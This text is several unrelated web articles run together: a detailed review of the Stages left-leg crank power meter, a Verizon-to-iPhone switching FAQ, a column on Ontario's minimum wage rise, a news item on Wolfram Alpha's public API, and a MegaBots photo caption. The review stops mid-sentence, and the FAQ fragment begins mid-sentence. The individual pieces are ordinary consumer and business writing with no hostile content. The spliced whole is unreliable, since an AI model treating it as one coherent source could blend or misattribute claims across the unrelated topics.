[Note: This section is impacted by the new software update. See updated review.]
In accuracy testing, I found that the difference between the Stages Power unit and other power meters (Quarq, PowerTap, LeMond Revolution, CompuTrainer) varied significantly across efforts, conditions and intensities. At this point I don’t have any definitive trending as to be able to identify which situations work, and which don’t. But ultimately that becomes the core of the problem – the inability to count on it 100% (or even 90% of the time) makes it tough from a data analysis standpoint, as well as a pacing tool in races or training.
Cut to the chase summary:
[Note: This section is impacted by the new software update. See updated review.]
In summary, at present I don’t feel that the Stages Power unit will work for me as my primary power meter. The variations in data from workout to workout, and the variations within a workout make it difficult to analyze and come to meaningful conclusions on power-focused workouts. I do however feel that with more work on the software side, they may be able to stabilize some of the power outputs and ultimately simply have a known offset (due to left-leg power). However, there are still significant unanswered questions around how stable ones power balance is from left to right on both an individual basis, as well as throughout varying conditions over the course of training or racing.
Unboxing:
The Stages power meter comes in a relatively simple cardboard box. In effect, they’re replacing whatever shipping material the new crank would otherwise come in, and replacing it with their own material. Thankfully, no crazy plastic here to deal with (the kind you cut your fingers on).
Crack it open and you’ll find the crank arm looking up at you, semi-shrink wrapped inside.
Upon pulling the cardboard insert out, and you’ll see that there’s two CR2032 batteries in there, along with a small slip of paper. Behind that is the original instructions from the crank-arm vendor for installation of the crank.
That little slip of paper includes two stickers. These stickers list the ANT+ ID of your power meter. While there’s also a unique Bluetooth Smart GUID (rather long) to go along with that, you’d never manually enter that ID in anywhere, so there’s little point in printing out a 12” wide bumper sticker for it. And while the ANT+ ID doesn’t need to be manually entered in, it makes it super-easy to do so if you have to at the last minute and are near others. You can see there’s also a sticker already on the unit itself, so these are extra.
The unit ships with two batteries. You’ll only need one. The unit is designed to get about 200 hours of battery life per CR2032 battery. These batteries only cost a couple bucks at the drug/grocery store, or you can buy them online in bulk like I do. Get a five-pack of them for $5. Or, a 100 pack for $30 (ya know, if you coach a pro cycling team or something).
As I noted above, below are the crank-arm instructions as provided by the manufacturer of your chosen crank-arm. There’s something like a 100 different combinations that Stages supports, so obviously the manuals will differ slightly by model/vendor/tidal conditions.
Taking a closer look at the crank-arm itself, you can see the pod that’s been added on there. I’ll talk more about that in another section.
If you flip the unit over, it’ll look no different than any other unit on the market.
And in total, here’s all the parts that matter:
From a weight standpoint, the pod adds a total of 20g of weight. To put that in perspective, I wandered around the house trying to find semi-common items that weighed 20g. In the end, one slice of singles cheese (with wrapper), is equal to 20g:
Yes, that’s all:
I don’t usually tend to be one to fuss over every last gram, especially when you put it in perspective like above. In short, eat one less piece of cheese.
Battery:
Just a super-quick section on the battery. The unit uses a CR2032 coin cell battery. This is the same battery used in almost every ANT+ device made these days (footpods, speed/cadence sensors, heart rate straps, etc…). They are commonly available and cheap.
To access the battery cover, you’ll just pop off the little plastic cover using the tip of your finger. You can see the o-ring inside, keeping it waterproof.
The battery is designed to get approximately 200 hours of active battery life before you swap it out. It’s a touch bit lower than traditional ANT+ power meters, but keep in mind it’s capable of doing both Bluetooth Smart and ANT+. If you rode 10 hours a week, you’re still talking nearly 5 months of usage before you had to pay $2-3 again.
As noted above, if you do as I do just buy your batteries online in bulk. Way cheaper. That way I have a few batteries with me.
The unit will however let you know when you get to a low-battery condition – and it’ll notify you via your head unit.
Size matters on your crank:
One final semi-oddball note before we dive into things. One of the major strengths of a power meter like this is how quickly it can actually be moved from bike to bike. Additionally, it could be moved to rental bikes relatively easily. That’s ideal for someone like me who’s constantly travelling. For example, this next weekend I head out to Seattle. I have a bike there, as does my Dad – both are viable options to put this crank-arm on. Perfect you say, right?
Well, mostly.
As I found out upon hanging out with the TSA folks in the Denver International Airport, the Stages power meter attached to the crank arm of my choice was actually just a touch bit too big for the carry-on allowance. I recognize that checking luggage isn’t a huge deal for most people (and thankfully that night I had tons of time), but it is something you should at least be semi aware of when travelling. Obviously, I don’t think it impacts purchasing decisions, but note that the TSA length limit for heavy metal tool-like objects is 7” inches for carry-on luggage. There’s no limit for checked luggage. This particular crank-arm was about 8.25 inches (the TSA Officer did indeed measure it).
Again, not a purchase-influencing decision, but more of a ‘nice to know’ if you travel frequently like me. Ok, on with the installation!
Installation:
(Note: Your installation may differ slightly, as there are some 100 different crank-arms and cranks that they support – including crank lengths. So just keep that in mind)
Without question, installing the Stages power meter is the easiest crank-region power meter I’ve ever installed. I say crank-region, meaning anything within about a 6-8” of that area. It’s probably technically easier to just install a pre-configured PowerTap wheel, but as far as crank-based things go – this is hilariously simple. Even my Mom could do it (no offense meant Mom).
First, you’ve got your existing non-drive side crank-arm on there (btw, non-drive side simply means the side without the chainrings (the spikey things)):
Before you go and take off your crank-arm, take off your pedal first. Trust me, it’s WAY easier to take off a stubborn pedal when it’s still attached to your bike, than trying to do it in your lap.
Using a pedal wrench is easiest. But lacking that you can just use a hex wrench from the backside of the pedal.
Now, onto the crank-arm.
You’ll go ahead and use a hex wrench with some leverage to get it off. In my case, I just went with the same torque wrench I’ll use to put on the new crank in a minute.
It shouldn’t be too tough to take off. If you’re not sure which way to turn, the bottom bracket actually tells you. Dust off any dirt down there and you’ll find the arrow pointing for the direction to tighten. Just do the opposite of that.
Ok, all off? Good, should look like this:
Now comes the ‘installation’ part. See your crank-arm? Stick it on. Be sure that you don’t put it on in some funky direction. One arm up, one arm down. Doesn’t matter which is up or down, just ensure they’re opposites.
Next, take your small hex wrench and tighten it up until it’s snug.
Then, take your torque wrench and tighten it to the limit specified in your instructions. It’s written there. Really, don’t over-tighten it. Bad things happen. Puppies and unicorns cry if you do.
And finally, add your pedals back in:
With that, you’re installed:
Now personally, anytime I mess with parts in this region on my bike, I prefer to do a trainer ride first. Just to ensure everything is good. Even if only for 10-20 minutes. Obviously, if you feel confident in your self-mechanic skills, then no need. But me, I’m more about technology than bike mechanic master. So I’d rather something go wonky on the trainer, than on a hill at 30MPH. Just sayin’…
Calibration:
Ok, next comes calibration. This is pretty complex – so hang in here with me. First, you’ve gotta take the crank arms and have one pointed at the ground, and one at the sky (or ceiling as it may be). Like this:
Then, you’ll dive into your cycling computer head unit and into the power meter section:
Then you’ll press calibrate:
Ok, you’re done.
Seriously, that’s it.
The tolerance here is is a few degrees, so it doesn’t have to be absolute perfect straight up and down. You can see below that if I have it offset a bit, the calibration will fail:
At present, there is no end-user calibration validation option (such as static test like hanging weights), though I understand that may be on the table in the future.
With that, we’re almost ready to go. One last stop in functionality before getting into how the unit works.
Updatable Firmware:
The Stages Power unit’s firmware can be upgraded by end users down the road. Myself, during the beta process I did this a couple of times. Doing so requires a Bluetooth Smart (BT4.0) compatible device, such as an iPhone 4s or iPhone 5 (or some newer iPads). Today, they only have a private (non-published) app for doing the firmware updates, though I expect we’ll see that expand in the coming months.
Just to give you a rough idea of how it works however, I simply get within Bluetooth Smart range of the power meter. This allows the app to make a connection via Bluetooth Smart to the Stages PM.
Then, I click to update the firmware file to the most recent version available. Again, this is just a private app to help beta testers – I’d expect that anything available to end users would end up being more ‘pretty looking’.
The whole update process took perhaps 60-90 seconds depending on which version. I needed do nothing more than just hang out. For those keeping track at home, I’m running on a later version than this (1.0.55, which is the version used for all tests shown here as of 1/18/13).
While the update process probably could have technically been done via ANT+ (with a Wahoo Fitness iPhone adapter) similar to how Garmin watches update, today it doesn’t support that. I wouldn’t expect to see this added, given the general trend towards using the Bluetooth side of the cell phone, rather than adding an ANT+ adapter in there.
How the Stages power is built and works:
The day prior to CES 2013 (early January), on my way to Las Vegas I stopped in and met with the Boulder, Colorado based Stages Cycling product team for the day. During that timeframe I got to see everything from how the units worked there way through testing and validation, to how they are baked onto the crank arm. Along with hours upon hours of technical questioning. And just for clarity, I paid my own way (flight) there, as well as hotels/car/etc.
Thus, let’s take a quick detour through the build process. There’s been a lot of questions about this. First, we’ve got your left-crank arm. That’s no different than any other crank arm out there on the market. That’s because, these are the very same crank arms you’d buy anywhere else. When you order a Stages Power Meter, you select exactly which crank arm (or full crank set) you want to use as the base. These are only units that Stages have full support/warranty agreements with the different crank manufactures – which is many of them. They’d do it for every unit in the world if they could. Stages purchases them brand new, and that’s where the process starts:
Then they’ve got their pods. These little pods are where the strain gauges are, the accelerometer, communications electronics (ANT+/BLE) and the battery. In total, this pod weighs 20g.
This little pod and its stain gauges measure the amount of torque that you subject the crank arm to. Basically, bend in the crank arm as you apply force (pedaling). That force is both predictable, and measurable. Which is ultimately how any strain gauge on any power meter works. Now, the one challenge is carbon cranks. These are tough due to the lack of rebounding back to a ‘known’ state as force is removed. Aspects such as the finish, resin, and the actual carbon affect this as well. From Stages standpoint, it’s definitely still in the R&D phase, but they don’t have any timelines at this stage.
Next, comes getting it on your left crank arm (whichever brand/model you selected). The trick to this is ensuring that the strain gauges are placed in exactly a specific spot on a given crank. This is why they aren’t just selling the pods as a ‘take-home’ kit. Additionally, the requirement purchasing a new crank-arm is to ensure that they are working with brand-new units, and not something that may have scratches/dents or otherwise look like your dog used it as a play toy.
Once the attachment of the pod to the arm has been completed, then comes literally ‘baking’ it onto the crank arm. It goes into an oven (like for a cake, only fancier) and then bakes on there. When I checked out this oven, it looked like a bunch of bats hanging from a cave. Just rows and rows of power meters hanging up inside to cure.
After the curing is complete, they’ll run it through diagnostics tests, and at that point it’s good to go. The entire unit is built and assembled in Boulder. Virtually all of the parts are sourced from within the US, some from even across the parking lot.
Now let’s talk about what exactly the Stages power meter measures – since it’s been the topic of significant debate.
In short: It measures left leg output only and then doubles it. In long: It measures left leg output only and then doubles it.
There’s been a lot of talk about this very point – and make no mistake, Stages isn’t trying to hide it. In fact, it’s right on their own site:
You see it again in listing their algorithm online:
This is why they are careful to always claim accuracy with the caveat of “as measured”. Specifically their accuracy claim is within that is +/- 2% at 100w with 90RPM. As you increase wattage, their accuracy claim actually increases. For example, at 200w it’s +/- 1%, and at 1,000w it’s even smaller.
With that out of the way, the question then becomes what does that mean for accuracy on the whole system? Well, there’s two parts to this. First is how accurate is the left leg measurements (as claimed above). While there, I got a good look at some of the systems they use to measure that. They had three different automated testing platforms going at the time I was there, all three of which had a robotic foot (for lack of better term) that was pedaling the bicycle on the left crank arm at a specified and changing rate. While this was occurring, the forces were measured and transmitted just like they would be later while on my bike:
The system they used costs tens of thousands of dollars. But it isn’t just for the Stages power meter. In fact, it’s been used for many previous projects. It’s important to note that Stages is really simply an offshoot of the Nautilus company (separate though). And in particular the division that worked on power meters for stationary bicycles that you typically see at gyms. In other words: This isn’t their first power meter BBQ. It is however, their first consumer-focused power meter (BBQ or otherwise).
While there they demonstrated for me the system changing the forces and cadence, and in turn I watched as the ANT+ signal being transmitted would reflect the new value.
Now nobody in the industry really expected this part to ‘fail’. That’s (all things considered) the ‘easy’ part.
Next comes the hard part – how that translates into ‘total power’, and how real that is in comparison to regular users. I’m going to tackle that in detail in the accuracy section. But I want to leave you with one little graph I put together this morning based on a quick six minute test. Hopefully, this will wrap things up in a tidy bow and help you understand exactly what is meant by ‘left measured power’.
The test was conducted with a set wattage of 150w on a calibrated CompuTrainer. The data was captured across three power meters, below is the Stages Power Meter (in orange), and the PowerTap (in Blue). The third power meter, a Quarq, was so similar to the PowerTap it didn’t really add anything other than more lines to the graph, so reduced clutter. Here were the six minutes of the test:
Minute 1: Normal pedaling
Minute 2: Right-leg Heavy. In this case, I focused 100% on keeping the force on the full rotation of my right leg. Both legs were clipped in.
Minute 3: Left-leg Heavy. Same as previous minute, but left leg. Both legs were clipped in.
Minute 4: Right-leg Only. Here I fully unclipped my left leg from the pedal and let it rest on trainer frame.
Minute 5: Left-leg Only. Unclipped the right leg, and pedaled purely with the left-leg.
Minute 6: Return to normal both-leg pedaling.
First, the graph, and then I’ll dive into what you’re seeing (10-second smoothed).
As you can see, the normal pedaling is pretty similar to each other. As I shift into Right-leg heavy (well beyond normal right-leg heavy), you see the Stages power meter (which is left-leg measured), drop significantly. Again, this is an exaggeration of an imbalance for the point of this graph, but it shows the impact. Then, as I shift to left-leg heavy, you see that it substantially increases the measured total power well above what was actually being put out (which was hard-set at 150w).
Next, as I unclip the left leg entirely the power drops to zero. In fact, the cadence also dropped out (which surprised me). The cadence was normal for all other minutes of this test except the left-leg unclipped. As I went into left-leg only with right unclipped, you see the same near perfect doubling of actual power. And finally, as I return to normal power, you see the two stabilize on top of each other.
Again, the point here is to simply illustrate the relationship between left/right, and the fact that the unit is measuring torque (bending) in the left-crank arm, and thus any power exerted from the right crank arm simply isn’t captured.
Lastly, one item of note – when the unit measures power, it takes into account data from the accelerometer. Meaning that if I just stand (without pedaling) on the left crank-arm, it won’t produce a power value, as no angular velocity was occurring. This is expected and logical.
Why not just a heart rate monitor for intensity?
Heart rate monitors report your reaction to a given activity. That reaction though isn’t constant. It varies from person to person. It’s impacted by many things, whether it be fatigue, sickness, sleep, caffeine, or any number of other variables. Understanding those variables can make training with a heart rate monitor extremely useful when used in conjunction with other metrics (pace/power/etc…). However, that is fundamentally different than power. The reaction of the power meter to your output doesn’t change because you only got two hours of sleep. It doesn’t change its evaluation of you because you were sick. Nor does it shift. Instead, it just reports a strain-gauged value. Unlike the human body, that strain gauge value doesn’t shift day to day with sleep patterns.
Now, one can of course argue the accuracy level of the overall Stages PM system based on left leg – no doubt. But one shouldn’t compare it to a heart rate monitor, as the Stages PM doesn’t shift readings as dramatically as a HR monitor can based on fatigue or other factors. Yes, if you are fatigued you will likely put out less power – but, in doing so you haven’t shifted the strain gauges, instead, you’ve just put out less power. Whereas as one who trains with heart rate monitors regularly, I can put out a 250w effort at 130bpm on a fatigued day (HR won’t rise, classic HR fatigue symptom), and then put out that same 250w effort at 150bpm on a normal day. If I had just used HR as my barometer, I would have been offset due to my fatigue. But with a power meter (including the Stages), I’m able to see the actual output. Now, the real value starts to occur when you can meld these two together over time and understand your own training patterns.
Day to Day Use:
I won’t focus on this section too much, other than to note a few quick items. Since having the unit I’ve rode in sun, rain, cold, wet and even a touch bit of unexpected snow. Smooth streets and cobbled streets (welcome to Europe). Flats of Paris, and the mountains of Colorado. Been there, done that. No issues or oddities seen in those scenarios.
Temperature changes are accounted for within the unit itself. There’s no expectation that you need to constantly recalibrate or otherwise zero the unit frequently – even during significant temperature change events. the unit automatically takes into account temperature change and shifts correspondingly. It does this based on the rate of change (i.e. faster if you’re descending, slower if you’re climbing). With Stages office being based in Boulder, at the foot of a slew of cycling routes with significant climbing, they’ve found they can go weeks without running a calibration routine – despite the climbing and changes in temperature.
In my day to day testing across temperatures from the low-20’s (*F) to about 50*F outside and 70-75*F inside, I haven’t seen the calibration value ever slide more than 1-2 units (that’s not even watts, that’s just a numerical number).
As noted earlier, the unit is IPX7 waterproofed, which means it can hang out in a riverbed 3 feet deep (1 meter) for 30 minutes before it starts to have a bad day. I haven’t seen any issues from mud or rain either during my rides:
When it comes to viewing the data, the data is transmitted in both ANT+ and Bluetooth Smart. On ANT+, it’s transmitting as a power meter device profile with cadence information included. It does not transmit speed information. The power meter is compatible with any number of ANT+ head units out there, including popular units like the Garmin Edge 500/510/705/800/810, Forerunner 310XT/910XT, CycleOps Joule 1/2/3/GPS, Timex Cycle Trainer GPS, Magellan Switch Up, Motorola Motoactv and many other units out there.
Within those units, all of the same metrics you’d get from a power meter are supported on the Stages PM. The only exceptions being the ‘Balance’ metrics (for left/right balance) – which aren’t included as like most power meters on the market today, it isn’t measured.
Via ANT+, it’s compatible with any ANT+ enabled iPhone apps via the Wahoo Fitness iPhone adapter, as well as on Android phones that have ANT+ built into them.
On the Bluetooth Smart side, it’s compatible with Bluetooth Smart enabled phones (such as the iPhone 4s/5), and apps that support the Bluetooth Smart power meter device profile. Today, that’s fairly limited actually to really just the Wahoo Fitness app (updated variant, coming in the days ahead) and the Kinetic inRide app (supports Bluetooth Smart power meters). Additionally, you can pair it with Trainer Road on a Mac (but not yet a PC), as well as upcoming builds of Golden Cheetah on a Mac.
In general, you’ll see any apps that support the Wahoo Fitness KICKR, will also support the Stages power meter – because they share the Bluetooth Smart power meter profile. So expect to see that supportability front explode over the next 30-45 days.
Finally, indoors. Again, no issues here at all. Unlike some other low-end power meters on the market today everything is measured at the crank-arm, so there’s no dependency on a specific trainer or knowing a trainer power curve. As long as you’re pedaling, it’s measuring. Simple as that.
Cadence Accuracy:
[Note: This section is impacted by the new software update. See updated review.]
Cadence measures how frequently your crank arm completes a rotation, measured in Revolutions Per Minute (RPM). Typically you’ll find most cyclists in the 80-100RPM range. There’s plenty of religious thought as to whether you should be high cadence, low cadence, self-selected cadence, or something else entirely. I’m not here to debate that. Instead, I’m just going to focus on how well the Stages unit does reporting your cadence, whatever that may be.
The Stages power meter uses an accelerometer to determine cadence. This means that there is no magnet installation required, nor any other sensor required on your bike. It just does its thing internally to the pod attached to your crank arm.
Over the last three weeks I’ve spent a LOT of time looking at cadence accuracy. Mostly because I have a lot of indoor trainer workouts that include specific cadence RPM levels. So, I’m aiming to hit those workout specifications.
In doing so, I’ve looked at cadence from three different perspectives:
1) The Stages Power Meter reported cadence (accelerometer)
2) An external cadence sensor (standard unit with magnet on crank arm)
3) A crank-based power meter with cadence magnet (Quarq Cinqo)
Test after test, I’ve found the Stages Power Meter aligns quite well to all three. I don’t see any notable lags in display of cadence changes, nor did I see any strange anomalies.
Below is a simple indoor step-test of cadence from 50RPM up until 150RPM, at 10RPM increments at one-minute per step. Following which, I did a handful of spin-ups to between 195 and 200RPM. You can see how well the units track:
(Note: A small 10-second drop section was removed – where the ANT+ sensor detail dropped out entirely, an earlier beta bug)
As you can see, they’re all virtually spot on while indoors. If you look at this from a difference standpoint, the below chart plots the 5s running difference (to account for 1-2s latency). Only two spikes as I ‘spin-down’ back off the 200rpm spin-ups.
Outdoors, we see a wee bit more variation in cadence, but not enough that I personally noticed it myself on the ride. Though it seems quite visible in data later. Again, we’re talking a very small difference here while riding, but something that shows up later in charts. First, the two overlaid:
Below is the chart plotting the difference – again, smoothed over 10-seconds. This is where you start to see some of the variations.
What’s interesting is that during that middle section I was largely very steady-state, so it handled quite a bit better there than other sections where I was out on more city streets and generally had less stability in my power output (surges, slow downs, etc…). Some of that difference may be latency, and some of it may be measurement differences.
The below graph helps to pull it together a bit more (for the outdoor ride). Each panel is a plot of cadence vs. crank torque (cadence in RPM on the x-axis, crank torque in Nm on the y-axis). If you could zoom in, you’d see that over the “normal” range of cadence the Quarq and PowerTap are almost on top of each other, while the Stages is reporting slightly lower crank torque.
Above cadence graph provided by Robert (more on his analysis in a second). [Update since there seems to be some confusion] However, a brief note about the above chart. It does NOT show that cadence itself is inaccurate below 60RPM – I found that to be fine (at least indoors). Rather, it is referring to Torque against cadence below certain values.
It seemed to me that most of the difference came from shifts in cadence, rather than holding a given cadence. In other words, if you’re focusing on holding a given cadence, this probably isn’t too big of an impact as things were quite steady (both indoors and outside). But when it comes to post-ride analysis, that’s where you see things surface.
(Note: The single random offset at about the 13 minute marker in the upper graph is the result of the Stages Power unit dropping the ANT channel for a few seconds. I wouldn’t hold it against them in this case as I haven’t seen it since.)
Now, there is an impact on power accuracy when it comes to cadence with the Stages PM, but I’ll cover that in the power accuracy section next. The above just focuses on the cadence portion.
Power Accuracy Testing Results:
Upfront, let me clarify something: This next section may or may not mean anything.
Why’s that you ask?
Well, it’s based on my riding. And in particular, it’s based on my cycling leg power distribution (left vs. right). In fact, every review you’ll see of the Stages Power (in the near-term), will be based on that riders leg power distribution. Over time we’ll no doubt see more detailed studies on this – ideally ones involving lots of riders of varying abilities. Not just a pro team, but a good cross section of riders in everything from normal day rides to high performance racing.
For now, you’ve got just me. 🙂
This means that no matter how accurate (or not) the data below is, it’s only at present just one persons accuracy level (mine). You could be different. You could be the exact same. You could be more accurate. Or less accurate. It all comes down to leg power distribution.
Make sense?
With that ‘warning’ out of the way, let’s talk about some tests.
Oh, actually, one more item. There are many studies which people from both sides like to point to around pedaling balance. Some of these studies are 37 years old, and some are more recent (but actually just summaries of older studies). I don’t know whether or not these studies are ultimately a good representation of how the Stages unit would perform, my guess is ‘not quite’. Close, but not the same. Thus, I’d really prefer to simply see studies against the Stages Power unit, rather than guesses based on studies from four decades ago with different equipment.
From my perspective, I tested the output of the Stages PM against other ‘known’ PM’s. In this case, the Quarq Cinqo power meter, as well as the Wahoo KICKR, RacerMate CompuTrainer, and a CycleOps PowerTap. These tests were a variety of indoor and outdoor tests. All of these tests were done on the most recent firmware given – the same one that other media outlets are using. I actually have interesting data on other firmware versions, but with each beta iteration prior to them there were minor bugs impacting data transmission. The last firmware update over the past week has been fairly solid. Of course, things may change (for better or worse) down the road.
I used the same brand of head unit configured identically across all power meters. Further, to validate data, in most tests I also had a secondary head unit capturing data across one or more power meters during each test, just to be able to double-check against any head-unit specific issues that could have arisen. In some of those cases, I was dual-streaming data across both Bluetooth Smart |
's somehow been the bane of your existence, it doesn't seem to happen on Verizon iPhone 4 models.
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I'm a Verizon Customer, and I'm Considering an iPhone Jump
How Much Will the Change Cost?
It depends on where you're at with your New Every Two credit. As explained in Verizon's iPhone FAQ, existing customers can use their New Every Two credit to upgrade, but note that Verizon is ending New Every Two and early upgrade credits. If you're not eligible for a new phone from Verizon, and you're already on a contract, you'll need to pay the full retail price: $649.99 for 16 GB, $749.99 for 32 GB. Here's more on the New Every Two program.
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Should I Hold Out for a "4G"/LTE Model?
Apple's Tim Cook said they weren't supporting Verizon's LTE network for the iPhone 4 because it would have "forced design compromises" that the electronics giant wasn't willing to make. That doesn't mean they won't eventually get there, but it's a question mark at the moment.
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Apple tends to refresh its iPhone lineup in June—that could mean a 4G chipset is installed, or potentially a white iPhone offering, or no network upgrade at all.
If speed is of the utmost importance to you, you might want to consider one of Verizon's Android models that supports their 4G service—if you live anywhere near a coverage area. Adam D. ran down everything you can know about "4G" at the moment, and found that Verizon is tops in speed with its next-generation network—although not in cost, coverage, value, or device offerings.
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Will It Cost to Move from a Verizon Droid to an iPhone? How Much?
Right up front, it's probably going to cost you, unless you're crafty with selling your old (and maybe self-unlocked) phone, smoothing over Verizon's customer service representatives, and general good luck. Even owners of the first Verizon Android phone, the Motorola Droid, aren't quite up for their two-year upgrades, so most Verizon Android owners with two-year contracts will have to pay the $650-$750 retail cost for a new iPhone, or at least a discounted retail price with an early upgrade.
Can I Transfer Contacts, Apps, and Other Data from My Existing Verizon Phone an iPhone?
Possibly yes, and maybe a resounding yes, with everything except the apps. Verizon has an account-linked Backup Assistant tool that can, at least, save your contacts.
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What Verizon is really recommending, however, is trying to get as much of your phone's data into your home computer, then hooking it all into iTunes for a future transfer to your Verizon iPhone. You can have iTunes pull data from Google contacts and calendars, Outlook, picture folders on your computer, and many other spots.
I'm an Android Owner—What's In It for Me to Switch?
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Tough question—really tough question, and one we've tackled before, though the answer is always hanging on how one wants to use their portable computing device, and what they want to get done with it. This editor is the author of The Complete Android Guide, but he has a lot—we're talking dozens—of friends and acquaintances who like to poke fun at that with barely restrained taunts of iPhone superiority, so I'll try to find the middle path.
Adam put on his objective 20-feet-back hat and compared iPhone and Android systems for power users. If you had to sum it up, it would seem that iPhone is a phone that makes it easy to hear music, play games, surf the web, and generally get around your smartphone for more people. Android is less easy to jump into upfront, but rife with possibilities, especially for those with a geeky inclination, and probably a Godsend for those with a Google fix. Polling our readers, they tend to like Android.
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If you find things annoying about your Android, and you generally feel like you can't get anything done with it, you might consider trying out the iPhone life. If you're a big fan of iPods, iTunes, and some of the apps you've seen in the App Store, you'll probably love it.
But let's say you've got an Android phone, on Verizon or elsewhere, and you're happy with it. You check email, browse the occasional site, find most of the apps you need in the Marketplace, and maybe even like the variety of hardware options you have. What could you find that's unique in the Apple-verse?
New apps, faster: Generally, the makers of clever new services, and new offerings from established sites and services, offer an iOS app right away, then work on a similar app for Android to follow. There are exceptions, but that's the reality: iPhone owners and their iTunes familiarity are a lucrative, motivated market, especially for apps that cost.
Generally, the makers of clever new services, and new offerings from established sites and services, offer an iOS app right away, then work on a similar app for Android to follow. There are exceptions, but that's the reality: iPhone owners and their iTunes familiarity are a lucrative, motivated market, especially for apps that cost. Fewer options, easier upgrades: There's one kind of iPhone available, new, at any given time, with older models offered at notable discount. When Apple pushes an upgrade to its iOS, it arrives as a beta for the tech-inclined, then pushes out to all the phones Apple still considers worth supporting. It can be harsh when an iPhone is pushed off the support shelf, but it's straightforward. When Android owners buy a phone, they buy into probabilities of manufacturers' upgrade records, their carriers' own motivations in making them available, and knowing that newer Android buyers are almost always going to have a newer Android OS—with perhaps some of your annoyances and shortcomings fixed, and just out of reach. Whether that just sounds like first-world whining, or something you can work around with third-party firmware solutions, is up to you.
There's one kind of iPhone available, new, at any given time, with older models offered at notable discount. When Apple pushes an upgrade to its iOS, it arrives as a beta for the tech-inclined, then pushes out to all the phones Apple still considers worth supporting. It can be harsh when an iPhone is pushed off the support shelf, but it's straightforward. When Android owners buy a phone, they buy into probabilities of manufacturers' upgrade records, their carriers' own motivations in making them available, and knowing that newer Android buyers are almost always going to have a newer Android OS—with perhaps some of your annoyances and shortcomings fixed, and just out of reach. Whether that just sounds like first-world whining, or something you can work around with third-party firmware solutions, is up to you. Games and iTunes: iPhones and iPads get more love from game makers, and those who like their iTunes collections have it easier with iPhones. That's as close as you can get to facts in the smartphone debate.
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As we said up top, we're soliciting your further questions and concerns in the comments, so post 'em if you got 'em, and we'll update this post with answers.Have a question about a small business topic? Let our resident expert Chris Griffiths take a run at it. E-mail your questions to smallbusiness@globeandmail.com. Confidentiality ensured.
There has been a lot of talk here and south of the border about increasing minimum wage.
The Ontario government has already announced a 7.3-per-cent boost, to $11 an hour from $10.25, effective June 1.
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There is much debate about the impact this will have on small businesses and their employees. Clearly, a higher income for workers helps them and the economy, but surprisingly, I haven't heard a lot of backlash from small-business owners.
Many entrepreneurs understand that an adjustment is overdue, and while no one wants their business expenses to rise, they regularly need to deal with higher costs in other parts of their businesses, such as electricity, fuel, raw materials and inflationary impacts.
I hear a lot of economists brush off the broader impact of a minimum-wage hike on small businesses because many of them already pay a premium rate. So, if they are already compensating staff above $11 an hour, there is no impact.
I disagree. In my experience, when the minimum wage goes up, the bar needs to be raised for many other employees, even though they may already be paid above the new premium.
Imagine you have a staffer who started at $10.25 an hour and after a length of time with good performance, that person has been given a raise to $11 an hour. Then the minimum wage rises to $11 an hour and this employee is suddenly earning the equivalent of a new hire with no experience and no track record.
That isn't going to sit well with longer-term employees, nor should it. They will look at their value as being a 75-cent premium over a new hire and they will expect that increase as well.
When I have been faced with this situation in the past, I have executed a pay increase for all hourly staff to adjust their "premium" over minimum wage.
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That said, the further you get from the minimum wage, the less impact the adjustment is or needs to me. When you get to, say, $20 an hour or higher, the minimum wage was likely never a hiring factor – at those levels, you are paying based on an existing skill and market value in order to stay competitive with businesses that require staff with similar skill sets.
Some businesses will caution that, as their payrolls rise, so will their prices, and the next thing you know, there will be corresponding inflation requiring even higher wages and so on and so on. History shows that is rarely the case.
What's more important is that staffers don't fall behind in their abilities to provide for themselves – that whatever mild inflation we already have doesn't chip away at their disposable incomes. That's not good for any aspect of our economy or our society.
Our small businesses are worthless without a strong, well-managed and fairly compensated employee base. Entrepreneurs rely on their staff to leverage their ideas, their visions and their strategies into daily tasks that push them to their goals.
We should not begrudge employees for wanting to achieve more financially. Those who see compensation as unfair, but who are unable to do anything about it, will cost businesses more in the long run due to poor morale and productivity.
A rise in the minimum wage is not bestowed upon businesses selectively, it is applied to all business equally. So your local competitors will be adapting to the same challenge.
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When it comes to competitive issues, stepping up to the new minimum wage is an easy one. Get it done, treat employees like you would want to be treated, and get on with building a great small business.
Chris Griffiths is the Toronto-based director of fine tune consulting, a boutique management consulting practice. Over the past 20 years, he has started or acquired and exited seven businesses.
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Sign up for our weekly newsletterComputational knowledge engineWolfram Alpha has just become more accessible from a variety of applications. Wolfram Alpha has thrown open access to its API to all developers with version 2.0 of its Wolfram Alpha API, allowing you to integrate its results into a variety of sources of web, desktop, enterprise and mobile applications.
The new release, in addition to opening up free access to its API, also brings features like asynchronous operations, that allows certain results to be delivered earlier compared to the ones that are time consuming. A Java client library has also been added in this release.
To get started with the API, you need to sign up for a free development account. This gets you an Application ID that you need to provide in each of your calls. The documentation is comprehensive and includes an overview of how the Wolfram Alpha engine delivers its results. The API Is REST style and the result data format defaults to XML. However you can request the results in the response XML to be one of plain text, HTML, image and much more depending on a concept called “Pod," which is a rectangular portion of the output and corresponds to one category of the product.
This is a very interesting way of returning the results and you can determine which Pod content to then display in your application as needed. As an example, visit the standard Wolfram Alpha results for Pi and you will see several representations which can be referred to as Pods. An example call of the API where we query for “pi” and want the format to be returned in image and plaintext, is as follows:
http://api.wolframalpha.com/v2/query?appid=xxx&input=pi&format=image,pla...
It also has an API Explorer, where you can get a better understanding of the results that are returned. The rate limits are pretty stringent at this point in time and this could be an issue for applications that might drive large traffic to its API. The free development account is allowed a maximum of 2,000 calls per month. Helper libraries are available for several languages.
The Wolfram Alpha computation engine is unique in many ways and its API too requires you to understand how it returns results before you can integrate but it can surely help create much richer search experience. The API page highlights featured applications like Microsoft Bing, Touch Press and Mathematica and how they have used the API. Not only that, but the biggest user of the API seems to be Wolfram Alpha itself: Wolfram|Alpha Mobile and Tablet Apps for iPhone, iPod touch, iPad, and Android devices; the newly released Wolfram Course Assistant Apps; and Mathematica 8.
What do you think of the new Wolfram Alpha API? In which cases might you use it for your search results?Photo: MegaBots The MegaBots Eagle Prime robot has 26 degrees of freedom and is controlled by two pilots inside. It features modular weapons systems that include a 40-horsepower chainsaw, multipurpose grapple arms, and a two-barrel cannon.
UPDATE 11 p.m. ET: MegaBots has just uploaded video of the fight to YouTube. We won’t spoil it for you. Watch to find out who won:
